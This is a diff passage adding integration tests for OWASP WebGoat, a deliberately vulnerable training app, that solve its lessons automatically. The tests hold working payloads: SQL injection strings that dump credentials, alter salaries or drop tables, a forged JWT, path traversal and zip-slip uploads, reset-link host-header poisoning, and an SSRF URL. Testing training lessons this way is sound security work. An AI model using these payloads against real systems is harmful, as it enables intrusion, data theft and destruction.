+        JwsHeader.JWK_SET_URL, webWolfUrlConfig.url("files/%s/jwks.json".formatted(getUser())));
+
+    String token =
+        Jwts.builder()
+            .setHeader(header)
+            .setIssuer("WebGoat Token Builder")
+            .setAudience("webgoat.org")
+            .setIssuedAt(Calendar.getInstance().getTime())
+            .setExpiration(Date.from(Instant.now().plusSeconds(60)))
+            .setSubject("tom@webgoat.org")
+            .claim("username", "Tom")
+            .claim("Email", "tom@webgoat.org")
+            .claim("Role", new String[] {"Manager", "Project Administrator"})
+            .signWith(SignatureAlgorithm.RS256, keyPair.getPrivate())
+            .compact();
+
+    MatcherAssert.assertThat(
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .post(webGoatUrlConfig.url("JWT/jku/delete?token=" + token))
+            .then()
+            .statusCode(200)
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(true));
+  }
+
+  private void quiz() {
+    Map<String, Object> params = new HashMap<>();
+    params.put("question_0_solution", "Solution 1");
+    params.put("question_1_solution", "Solution 2");
+
+    checkAssignment(webGoatUrlConfig.url("JWT/quiz"), params, true);
+  }
+}

src/it/java/org/owasp/webgoat/integration/LabelAndHintIntegrationTest.java

@@ -0,0 +1,233 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2022 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.integration;
+
+import io.restassured.RestAssured;
+import io.restassured.http.ContentType;
+import io.restassured.path.json.JsonPath;
+import java.io.FileInputStream;
+import java.io.InputStream;
+import java.util.List;
+import java.util.Properties;
+import org.junit.jupiter.api.Assertions;
+import org.junit.jupiter.api.Test;
+
+public class LabelAndHintIntegrationTest extends IntegrationTest {
+
+  static final String ESCAPE_JSON_PATH_CHAR = "\'";
+
+  @Test
+  public void testSingleLabel() {
+    Assertions.assertTrue(true);
+      JsonPath jsonPath =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .contentType(ContentType.JSON)
+            .header("Accept-Language", "en")
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .get(webGoatUrlConfig.url("service/labels.mvc"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .jsonPath();
+
+    Assertions.assertEquals(
+        "Try again: but this time enter a value before hitting go.",
+        jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "http-basics.close" + ESCAPE_JSON_PATH_CHAR));
+
+    // check if lang parameter overrules Accept-Language parameter
+      jsonPath =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .contentType(ContentType.JSON)
+            .header("Accept-Language", "en")
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .get(webGoatUrlConfig.url("service/labels.mvc?lang=nl"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .jsonPath();
+    Assertions.assertEquals(
+        "Gebruikersnaam",
+        jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));
+
+      jsonPath =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .contentType(ContentType.JSON)
+            .header("Accept-Language", "en")
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .get(webGoatUrlConfig.url("service/labels.mvc?lang=de"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .jsonPath();
+    Assertions.assertEquals(
+        "Benutzername",
+        jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));
+
+    // check if invalid language returns english
+      jsonPath =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .contentType(ContentType.JSON)
+            .header("Accept-Language", "nl")
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .get(webGoatUrlConfig.url("service/labels.mvc?lang=xx"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .jsonPath();
+    Assertions.assertEquals(
+        "Username", jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));
+
+    // check if invalid language returns english
+      jsonPath =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .contentType(ContentType.JSON)
+            .header("Accept-Language", "xx_YY")
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .get(webGoatUrlConfig.url("service/labels.mvc"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .jsonPath();
+    Assertions.assertEquals(
+        "Username", jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));
+  }
+
+  @Test
+  public void testHints() {
+    JsonPath jsonPathLabels = getLabels("en");
+    List<String> allLessons =
+        List.of(
+            "HttpBasics",
+            "HttpProxies",
+            "CIA",
+            "InsecureLogin",
+            "Cryptography",
+            "PathTraversal",
+            "XXE",
+            "JWT",
+            "IDOR",
+            "SSRF",
+            "WebWolfIntroduction",
+            "CrossSiteScripting",
+            "CSRF",
+            "HijackSession",
+            "SqlInjection",
+            "SqlInjectionMitigations",
+            "SqlInjectionAdvanced",
+            "Challenge1");
+    for (String lesson : allLessons) {
+      startLesson(lesson);
+      List<String> hintKeys = getHints();
+      for (String key : hintKeys) {
+        String keyValue =
+            jsonPathLabels.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR);
+        // System.out.println("key: " + key + " ,value: " + keyValue);
+        Assertions.assertNotNull(keyValue);
+        Assertions.assertNotEquals(key, keyValue);
+      }
+    }
+    // Assertions.assertEquals("http-basics.hints.http_basics_lesson.1",
+    // ""+jsonPath.getList("hint").get(0));
+  }
+
+  @Test
+  public void testLabels() {
+
+    JsonPath jsonPathLabels = getLabels("en");
+    Properties propsDefault = getProperties("");
+    for (String key : propsDefault.stringPropertyNames()) {
+      String keyValue =
+          jsonPathLabels.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR);
+      Assertions.assertNotNull(keyValue);
+    }
+    checkLang(propsDefault, "nl");
+    checkLang(propsDefault, "de");
+    checkLang(propsDefault, "fr");
+  }
+
+  private Properties getProperties(String lang) {
+    Properties prop = null;
+    if (lang == null || lang.equals("")) {
+      lang = "";
+    } else {
+      lang = "_" + lang;
+    }
+    try (InputStream input =
+        new FileInputStream("src/main/resources/i18n/messages" + lang + ".properties")) {
+
+      prop = new Properties();
+      // load a properties file
+      prop.load(input);
+    } catch (Exception e) {
+      e.printStackTrace();
+    }
+    return prop;
+  }
+
+  private void checkLang(Properties propsDefault, String lang) {
+    JsonPath jsonPath = getLabels(lang);
+    Properties propsLang = getProperties(lang);
+
+    for (String key : propsLang.stringPropertyNames()) {
+      if (!propsDefault.containsKey(key)) {
+        System.err.println("key: " + key + " in (" + lang + ") is missing from default properties");
+        Assertions.fail();
+      }
+      if (!jsonPath
+          .getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR)
+          .equals(propsLang.get(key))) {
+        System.out.println(
+            "key: " + key + " in (" + lang + ") has incorrect translation in label service");
+        System.out.println(
+            "actual:" + jsonPath.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR));
+        System.out.println("expected: " + propsLang.getProperty(key));
+        System.out.println();
+        Assertions.fail();
+      }
+    }
+  }
+
+  private JsonPath getLabels(String lang) {
+      return RestAssured.given()
+        .when()
+        .relaxedHTTPSValidation()
+        .contentType(ContentType.JSON)
+        .header("Accept-Language", lang)
+        .cookie("JSESSIONID", getWebGoatCookie())
+        // .log().headers()
+        .get(webGoatUrlConfig.url("service/labels.mvc"))
+        .then()
+        // .log().all()
+        .statusCode(200)
+        .extract()
+        .jsonPath();
+  }
+
+  private List<String> getHints() {
+      JsonPath jsonPath =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .contentType(ContentType.JSON)
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .get(webGoatUrlConfig.url("service/hint.mvc"))
+            .then()
+            // .log().all()
+            .statusCode(200)
+            .extract()
+            .jsonPath();
+    return jsonPath.getList("hint");
+  }
+}

src/it/java/org/owasp/webgoat/integration/PasswordResetLessonIntegrationTest.java

@@ -0,0 +1,151 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.integration;
+
+import static org.junit.jupiter.api.DynamicTest.dynamicTest;
+
+import io.restassured.RestAssured;
+import java.util.Arrays;
+import java.util.Map;
+import org.apache.commons.lang3.StringUtils;
+import org.assertj.core.api.Assertions;
+import org.junit.jupiter.api.AfterEach;
+import org.junit.jupiter.api.BeforeEach;
+import org.junit.jupiter.api.DynamicTest;
+import org.junit.jupiter.api.TestFactory;
+import org.springframework.http.HttpHeaders;
+
+public class PasswordResetLessonIntegrationTest extends IntegrationTest {
+
+  @BeforeEach
+  public void init() {
+    startLesson("PasswordReset");
+  }
+
+  @TestFactory
+  Iterable<DynamicTest> passwordResetLesson() {
+    return Arrays.asList(
+        dynamicTest("assignment 6 - check email link", () -> sendEmailShouldBeAvailableInWebWolf()),
+        dynamicTest("assignment 6 - solve assignment", () -> solveAssignment()),
+        dynamicTest("assignment 2 - simple reset", () -> assignment2()),
+        dynamicTest("assignment 4 - guess questions", () -> assignment4()),
+        dynamicTest("assignment 5 - simple questions", () -> assignment5()));
+  }
+
+  public void assignment2() {
+      checkAssignment(
+              webGoatUrlConfig.url("PasswordReset/simple-mail/reset"),
+        Map.of("emailReset", this.getUser() + "@webgoat.org"),
+        false);
+      checkAssignment(
+              webGoatUrlConfig.url("PasswordReset/simple-mail"),
+        Map.of(
+            "email",
+            this.getUser() + "@webgoat.org",
+            "password",
+            StringUtils.reverse(this.getUser())),
+        true);
+  }
+
+  public void assignment4() {
+      checkAssignment(
+              webGoatUrlConfig.url("PasswordReset/questions"),
+        Map.of("username", "tom", "securityQuestion", "purple"),
+        true);
+  }
+
+  public void assignment5() {
+      checkAssignment(
+              webGoatUrlConfig.url("PasswordReset/SecurityQuestions"),
+        Map.of("question", "What is your favorite animal?"),
+        false);
+      checkAssignment(
+              webGoatUrlConfig.url("PasswordReset/SecurityQuestions"),
+        Map.of("question", "What is your favorite color?"),
+        true);
+  }
+
+  public void solveAssignment() {
+    // WebGoat
+    clickForgotEmailLink("tom@webgoat-cloud.org");
+
+    // WebWolf
+    var link = getPasswordResetLinkFromLandingPage();
+    // WebGoat
+    changePassword(link);
+      checkAssignment(
+              webGoatUrlConfig.url("PasswordReset/reset/login"),
+        Map.of("email", "tom@webgoat-cloud.org", "password", "123456"),
+        true);
+  }
+
+  public void sendEmailShouldBeAvailableInWebWolf() {
+    clickForgotEmailLink(this.getUser() + "@webgoat.org");
+
+    var responseBody =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("WEBWOLFSESSION", getWebWolfCookie())
+            .get(webWolfUrlConfig.url("mail"))
+            .then()
+            .extract()
+            .response()
+            .getBody()
+            .asString();
+
+    Assertions.assertThat(responseBody).contains("Hi, you requested a password reset link");
+  }
+
+  @AfterEach
+  public void shutdown() {
+    // this will run only once after the list of dynamic tests has run, this is to test if the
+    // lesson is marked complete
+    checkResults("PasswordReset");
+  }
+
+  private void changePassword(String link) {
+      RestAssured.given()
+        .when()
+        .relaxedHTTPSValidation()
+        .cookie("JSESSIONID", getWebGoatCookie())
+        .formParams("resetLink", link, "password", "123456")
+        .post(webGoatUrlConfig.url("PasswordReset/reset/change-password"))
+        .then()
+        .statusCode(200);
+  }
+
+  private String getPasswordResetLinkFromLandingPage() {
+    var responseBody =
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("WEBWOLFSESSION", getWebWolfCookie())
+            .get(webWolfUrlConfig.url("requests"))
+            .then()
+            .extract()
+            .response()
+            .getBody()
+            .asString();
+    int startIndex = responseBody.lastIndexOf("/PasswordReset/reset/reset-password/");
+    var link =
+        responseBody.substring(
+            startIndex + "/PasswordReset/reset/reset-password/".length(),
+            responseBody.indexOf(",", startIndex) - 1);
+    return link;
+  }
+
+  private void clickForgotEmailLink(String user) {
+      RestAssured.given()
+        .when()
+        .header(HttpHeaders.HOST, String.format("%s:%s", "127.0.0.1", webWolfUrlConfig.port()))
+        .relaxedHTTPSValidation()
+        .cookie("JSESSIONID", getWebGoatCookie())
+        .formParams("email", user)
+        .post(webGoatUrlConfig.url("PasswordReset/ForgotPassword/create-password-reset-link"))
+        .then()
+        .statusCode(200);
+  }
+}

src/it/java/org/owasp/webgoat/integration/PathTraversalIntegrationTest.java

@@ -0,0 +1,156 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2020 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.integration;
+
+import static org.junit.jupiter.api.DynamicTest.dynamicTest;
+
+import io.restassured.RestAssured;
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.nio.charset.StandardCharsets;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.util.Arrays;
+import java.util.Map;
+import java.util.zip.ZipEntry;
+import java.util.zip.ZipOutputStream;
+import lombok.SneakyThrows;
+import org.hamcrest.CoreMatchers;
+import org.hamcrest.MatcherAssert;
+import org.junit.jupiter.api.AfterEach;
+import org.junit.jupiter.api.BeforeEach;
+import org.junit.jupiter.api.DynamicTest;
+import org.junit.jupiter.api.TestFactory;
+import org.junit.jupiter.api.io.TempDir;
+import org.springframework.security.core.token.Sha512DigestUtils;
+
+class PathTraversalIT extends IntegrationTest {
+
+  @TempDir Path tempDir;
+
+  private File fileToUpload = null;
+
+  @BeforeEach
+  @SneakyThrows
+  public void init() {
+    fileToUpload = Files.createFile(tempDir.resolve("test.jpg")).toFile();
+    Files.write(fileToUpload.toPath(), "This is a test".getBytes());
+    startLesson("PathTraversal");
+  }
+
+  @TestFactory
+  Iterable<DynamicTest> testPathTraversal() {
+    return Arrays.asList(
+        dynamicTest("assignment 1 - profile upload", () -> assignment1()),
+        dynamicTest("assignment 2 - profile upload fix", () -> assignment2()),
+        dynamicTest("assignment 3 - profile upload remove user input", () -> assignment3()),
+        dynamicTest("assignment 4 - profile upload random pic", () -> assignment4()),
+        dynamicTest("assignment 5 - zip slip", () -> assignment5()));
+  }
+
+  private void assignment1() throws IOException {
+      MatcherAssert.assertThat(
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .multiPart("uploadedFile", "test.jpg", Files.readAllBytes(fileToUpload.toPath()))
+            .param("fullName", "../John Doe")
+            .post(webGoatUrlConfig.url("PathTraversal/profile-upload"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(true));
+  }
+
+  private void assignment2() throws IOException {
+      MatcherAssert.assertThat(
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .multiPart("uploadedFileFix", "test.jpg", Files.readAllBytes(fileToUpload.toPath()))
+            .param("fullNameFix", "..././John Doe")
+            .post(webGoatUrlConfig.url("PathTraversal/profile-upload-fix"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(true));
+  }
+
+  private void assignment3() throws IOException {
+      MatcherAssert.assertThat(
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .multiPart(
+                "uploadedFileRemoveUserInput",
+                "../test.jpg",
+                Files.readAllBytes(fileToUpload.toPath()))
+            .post(webGoatUrlConfig.url("PathTraversal/profile-upload-remove-user-input"))
+            .then()
+            .statusCode(200)
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(true));
+  }
+
+  private void assignment4() throws IOException {
+    var uri = "PathTraversal/random-picture?id=%2E%2E%2F%2E%2E%2Fpath-traversal-secret";
+      RestAssured.given()
+        .urlEncodingEnabled(false)
+        .when()
+        .relaxedHTTPSValidation()
+        .cookie("JSESSIONID", getWebGoatCookie())
+        .get(webGoatUrlConfig.url(uri))
+        .then()
+        .statusCode(200)
+        .body(CoreMatchers.is("You found it submit the SHA-512 hash of your username as answer"));
+
+      checkAssignment(
+              webGoatUrlConfig.url("PathTraversal/random"),
+        Map.of("secret", Sha512DigestUtils.shaHex(this.getUser())),
+        true);
+  }
+
+  private void assignment5() throws IOException {
+    var webGoatHome = webGoatServerDirectory() + "PathTraversal/" + this.getUser();
+    webGoatHome =
+        webGoatHome.replaceAll("^[a-zA-Z]:", ""); // Remove C: from the home directory on Windows
+
+    var webGoatDirectory = new File(webGoatHome);
+    var zipFile = new File(tempDir.toFile(), "upload.zip");
+    try (var zos = new ZipOutputStream(new FileOutputStream(zipFile))) {
+      ZipEntry e = new ZipEntry("../../../../../../../../../../" + webGoatDirectory + "/image.jpg");
+      zos.putNextEntry(e);
+      zos.write("test".getBytes(StandardCharsets.UTF_8));
+    }
+      MatcherAssert.assertThat(
+        RestAssured.given()
+            .when()
+            .relaxedHTTPSValidation()
+            .cookie("JSESSIONID", getWebGoatCookie())
+            .multiPart("uploadedFileZipSlip", "upload.zip", Files.readAllBytes(zipFile.toPath()))
+            .post(webGoatUrlConfig.url("PathTraversal/zip-slip"))
+            .then()
+            .log()
+            .all()
+            .statusCode(200)
+            .extract()
+            .path("lessonCompleted"),
+        CoreMatchers.is(true));
+  }
+
+  @AfterEach
+  void shutdown() {
+    // this will run only once after the list of dynamic tests has run, this is to test if the
+    // lesson is marked complete
+    checkResults("PathTraversal");
+  }
+}

src/it/java/org/owasp/webgoat/integration/ProgressRaceConditionIntegrationTest.java

@@ -0,0 +1,61 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.integration;
+
+import io.restassured.RestAssured;
+import io.restassured.response.Response;
+import java.util.List;
+import java.util.Map;
+import java.util.concurrent.Callable;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Executors;
+import java.util.stream.Collectors;
+import java.util.stream.IntStream;
+import org.assertj.core.api.Assertions;
+import org.junit.jupiter.api.Test;
+
+public class ProgressRaceConditionIntegrationTest extends IntegrationTest {
+
+  @Test
+  public void runTests() throws InterruptedException {
+    int NUMBER_OF_CALLS = 40;
+    int NUMBER_OF_PARALLEL_THREADS = 5;
+    startLesson("Challenge1");
+
+    Callable<Response> call =
+        () -> {
+          // System.out.println("thread "+Thread.currentThread().getName());
+            return RestAssured.given()
+              .when()
+              .relaxedHTTPSValidation()
+              .cookie("JSESSIONID", getWebGoatCookie())
+              .formParams(Map.of("flag", "test"))
+              .post(webGoatUrlConfig.url("challenge/flag/1"));
+        };
+    ExecutorService executorService = Executors.newFixedThreadPool(NUMBER_OF_PARALLEL_THREADS);
+    List<? extends Callable<Response>> flagCalls =
+        IntStream.range(0, NUMBER_OF_CALLS).mapToObj(i -> call).collect(Collectors.toList());
+    var responses = executorService.invokeAll(flagCalls);
+
+    // A certain amount of parallel calls should fail as optimistic locking in DB is applied
+    long countStatusCode500 =
+        responses.stream()
+            .filter(
+                r -> {
+                  try {
+                    // System.err.println(r.get().getStatusCode());
+                    return r.get().getStatusCode() != 200;
+                  } catch (InterruptedException | ExecutionException e) {
+                    // System.err.println(e);
+                    throw new IllegalStateException(e);
+                  }
+                })
+            .count();
+    System.err.println("counted status 500: " + countStatusCode500);
+    Assertions.assertThat(countStatusCode500)
+        .isLessThanOrEqualTo((NUMBER_OF_CALLS - (NUMBER_OF_CALLS / NUMBER_OF_PARALLEL_THREADS)));
+  }
+}

src/it/java/org/owasp/webgoat/integration/SSRFIntegrationTest.java

@@ -0,0 +1,29 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2020 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.integration;
+
+import java.util.HashMap;
+import java.util.Map;
+import org.junit.jupiter.api.Test;
+
+public class SSRFIntegrationTest extends IntegrationTest {
+
+  @Test
+  public void runTests() {
+    startLesson("SSRF");
+
+    Map<String, Object> params = new HashMap<>();
+    params.clear();
+    params.put("url", "images/jerry.png");
+
+      checkAssignment(webGoatUrlConfig.url("SSRF/task1"), params, true);
+    params.clear();
+    params.put("url", "http://ifconfig.pro");
+
+      checkAssignment(webGoatUrlConfig.url("SSRF/task2"), params, true);
+
+    checkResults("SSRF");
+  }
+}

src/it/java/org/owasp/webgoat/integration/SessionManagementIntegrationTest.java

@@ -0,0 +1,23 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2014 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.integration;
+
+import java.util.Map;
+import org.junit.jupiter.api.Test;
+
+class SessionManagementIT extends IntegrationTest {
+
+  private static final String HIJACK_LOGIN_CONTEXT_PATH = "HijackSession/login";
+
+  @Test
+  void hijackSessionTest() {
+    startLesson("HijackSession");
+
+      checkAssignment(
+              webGoatUrlConfig.url(HIJACK_LOGIN_CONTEXT_PATH),
+        Map.of("username", "webgoat", "password", "webgoat"),
+        false);
+  }
+}

src/it/java/org/owasp/webgoat/integration/SqlInjectionAdvancedIntegrationTest.java

@@ -0,0 +1,62 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.integration;
+
+import java.util.HashMap;
+import java.util.Map;
+import org.junit.jupiter.api.Test;
+
+public class SqlInjectionAdvancedIntegrationTest extends IntegrationTest {
+
+  @Test
+  public void runTests() {
+    startLesson("SqlInjectionAdvanced");
+
+    Map<String, Object> params = new HashMap<>();
+    params.put("username_reg", "tom' AND substring(password,1,1)='t");
+    params.put("password_reg", "password");
+    params.put("email_reg", "someone@microsoft.com");
+    params.put("confirm_password", "password");
+      checkAssignmentWithPUT(webGoatUrlConfig.url("SqlInjectionAdvanced/register"), params, false);
+
+    params.clear();
+    params.put("username_login", "tom");
+    params.put("password_login", "thisisasecretfortomonly");
+      checkAssignment(webGoatUrlConfig.url("SqlInjectionAdvanced/login"), params, true);
+
+    params.clear();
+    params.put("userid_6a", "'; SELECT * FROM user_system_data;--");
+      checkAssignment(webGoatUrlConfig.url("SqlInjectionAdvanced/attack6a"), params, true);
+
+    params.clear();
+    params.put(
+        "userid_6a",
+        "Smith' union select userid,user_name, user_name,user_name,password,cookie,userid from"
+            + " user_system_data --");
+      checkAssignment(webGoatUrlConfig.url("SqlInjectionAdvanced/attack6a"), params, true);
+
+    params.clear();
+    params.put("userid_6b", "passW0rD");
+      checkAssignment(webGoatUrlConfig.url("SqlInjectionAdvanced/attack6b"), params, true);
+
+    params.clear();
+    params.put(
+        "question_0_solution",
+        "Solution 4: A statement has got values instead of a prepared statement");
+    params.put("question_1_solution", "Solution 3: ?");
+    params.put(
+        "question_2_solution",
+        "Solution 2: Prepared statements are compiled once by the database management system"
+            + " waiting for input and are pre-compiled this way.");
+    params.put(
+        "question_3_solution",
+        "Solution 3: Placeholders can prevent that the users input gets attached to the SQL query"
+            + " resulting in a seperation of code and data.");
+    params.put(
+        "question_4_solution",
+        "Solution 4: The database registers 'Robert' ); DROP TABLE Students;--'.");
+      checkAssignment(webGoatUrlConfig.url("SqlInjectionAdvanced/quiz"), params, true);
+  }
+}

src/it/java/org/owasp/webgoat/integration/SqlInjectionLessonIntegrationTest.java

@@ -0,0 +1,82 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.integration;
+
+import java.util.HashMap;
+import java.util.Map;
+import org.junit.jupiter.api.Test;
+
+public class SqlInjectionLessonIntegrationTest extends IntegrationTest {
+
+  public static final String sql_2 = "select department from employees where last_name='Franco'";
+  public static final String sql_3 =
+      "update employees set department='Sales' where last_name='Barnett'";
+  public static final String sql_4_drop = "alter table employees drop column phone";
+  public static final String sql_4_add = "alter table employees add column phone varchar(20)";
+  public static final String sql_5 = "grant select on grant_rights to unauthorized_user";
+  public static final String sql_9_account = " ' ";
+  public static final String sql_9_operator = "or";
+  public static final String sql_9_injection = "'1'='1";
+  public static final String sql_10_login_count = "2";
+  public static final String sql_10_userid = "1 or 1=1";
+
+  public static final String sql_11_a = "Smith' or '1' = '1";
+  public static final String sql_11_b = "3SL99A'  or '1'='1";
+
+  public static final String sql_12_a = "Smith";
+  public static final String sql_12_b =
+      "3SL99A' ; update employees set salary= '100000' where last_name='Smith";
+
+  public static final String sql_13 = "%update% '; drop table access_log ; --'";
+
+  @Test
+  public void runTests() {
+    startLesson("SqlInjection");
+
+    Map<String, Object> params = new HashMap<>();
+    params.clear();
+    params.put("query", sql_2);
+      checkAssignment(webGoatUrlConfig.url("SqlInjection/attack2"), params, true);
+
+    params.clear();
+    params.put("query", sql_3);
+      checkAssignment(webGoatUrlConfig.url("SqlInjection/attack3"), params, true);
+
+    params.clear();
+    params.put("query", sql_4_add);
+      checkAssignment(webGoatUrlConfig.url("SqlInjection/attack4"), params, true);
+
+    params.clear();
+    params.put("query", sql_5);
+      checkAssignment(webGoatUrlConfig.url("SqlInjection/attack5"), params, true);
+
+    params.clear();
+    params.put("operator", sql_9_operator);
+    params.put("account", sql_9_account);
+    params.put("injection", sql_9_injection);
+      checkAssignment(webGoatUrlConfig.url("SqlInjection/assignment5a"), params, true);
+
+    params.clear();
+    params.put("login_count", sql_10_login_count);
+    params.put("userid", sql_10_userid);
+      checkAssignment(webGoatUrlConfig.url("SqlInjection/assignment5b"), params, true);
+
+    params.clear();
+    params.put("name", sql_11_a);
+    params.put("auth_tan", sql_11_b);
+      checkAssignment(webGoatUrlConfig.url("SqlInjection/attack8"), params, true);
+
+    params.clear();
+    params.put("name", sql_12_a);
+    params.put("auth_tan", sql_12_b);
+      checkAssignment(webGoatUrlConfig.url("SqlInjection/attack9"), params, true);
+
+    params.clear();
+    params.put("action_string", sql_13);
+      checkAssignment(webGoatUrlConfig.url("SqlInjection/attack10"), params, true);
+
+    checkResults("SqlInjection");
+  }
+}

src/it/java/org/owasp/webgoat/integration/SqlInjectionMitigationIntegrationTest.java

@@ -0,0 +1,88 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.integration;
+
+import static org.hamcrest.CoreMatchers.containsString;
+
+import io.restassured.RestAssured;
+import io.restassured.http.ContentType;
+import java.util.HashMap;
+import java.util.Map;
+import org.junit.jupiter.api.Test;
+
+public class SqlInjectionMitigationIntegrationTest extends IntegrationTest {
+
+  @Test
+  public void runTests() {
+    startLesson("SqlInjectionMitigations");
+
+    Map<String, Object> params = new HashMap<>();
+    params.clear();
+    params.put("field1", "getConnection");
+    params.put("field2", "PreparedStatement prep");
+    params.put("field3", "prepareStatement");
+    params.put("field4", "?");
+    params.put("field5", "?");
+    params.put("field6", "prep.setString(1,\"\")");
+    params.put("field7", "prep.setString(2,\\\"\\\")");
+      checkAssignment(webGoatUrlConfig.url("SqlInjectionMitigations/attack10a"), params, true);
+
+    params.put(
+        "editor",
+        "try {\r\n"
+            + "    Connection conn = DriverManager.getConnection(DBURL,DBUSER,DBPW);\r\n"
+            + "    PreparedStatement prep = conn.prepareStatement(\"select id from users where name"
+            + " = ?\");\r\n"
+            + "    prep.setString(1,\"me\");\r\n"
+            + "    prep.execute();\r\n"
+            + "    System.out.println(conn);   //should output 'null'\r\n"
+            + "} catch (Exception e) {\r\n"
+            + "    System.out.println(\"Oops. Something went wrong!\");\r\n"
+            + "}");
+      checkAssignment(webGoatUrlConfig.url("SqlInjectionMitigations/attack10b"), params, true);
+
+    params.clear();
+    params.put(
+        "userid_sql_only_input_validation", "Smith';SELECT/**/*/**/from/**/user_system_data;--");
+      checkAssignment(webGoatUrlConfig.url("SqlOnlyInputValidation/attack"), params, true);
+
+    params.clear();
+    params.put(
+        "userid_sql_only_input_validation_on_keywords",
+        "Smith';SESELECTLECT/**/*/**/FRFROMOM/**/user_system_data;--");
+      checkAssignment(webGoatUrlConfig.url("SqlOnlyInputValidationOnKeywords/attack"), params, true);
+
+      RestAssured.given()
+        .when()
+        .relaxedHTTPSValidation()
+        .cookie("JSESSIONID", getWebGoatCookie())
+        .contentType(ContentType.JSON)
+        .get(
+                webGoatUrlConfig.url("SqlInjectionMitigations/servers?column=(case when (true) then hostname"
+                        + " else id end)"))
+        .then()
+        .statusCode(200);
+
+      RestAssured.given()
+        .when()
+        .relaxedHTTPSValidation()
+        .cookie("JSESSIONID", getWebGoatCookie())
+        .contentType(ContentType.JSON)
+        .get(webGoatUrlConfig.url("SqlInjectionMitigations/servers?column=unknown"))
+        .then()
+        .statusCode(500)
+        .body(
+            "trace",
+            containsString(
+                "select id, hostname, ip, mac, status, description from SERVERS where status <>"
+                    + " 'out of order' order by"));
+
+    params.clear();
+    params.put("ip", "104.130.219.202");
+      checkAssignment(webGoatUrlConfig.url("SqlInjectionMitigations/attack12a"), params, true);
+
+    checkResults("SqlInjectionMitigations");
+  }
+}

src/it/java/org/owasp/webgoat/integration/WebWolfIntegrationTest.java

@@ -0,0 +1,81 @@
+/*
+ * SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+package org.owasp.webgoat.integration;
+
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+import io.restassured.RestAssured;
+import java.util.HashMap;
+import java.util.Map;
+import org.junit.jupiter.api.Test;
+
+public class WebWolfIntegrationTest extends IntegrationTest {
+
+  @Test
+  public void runTests() {
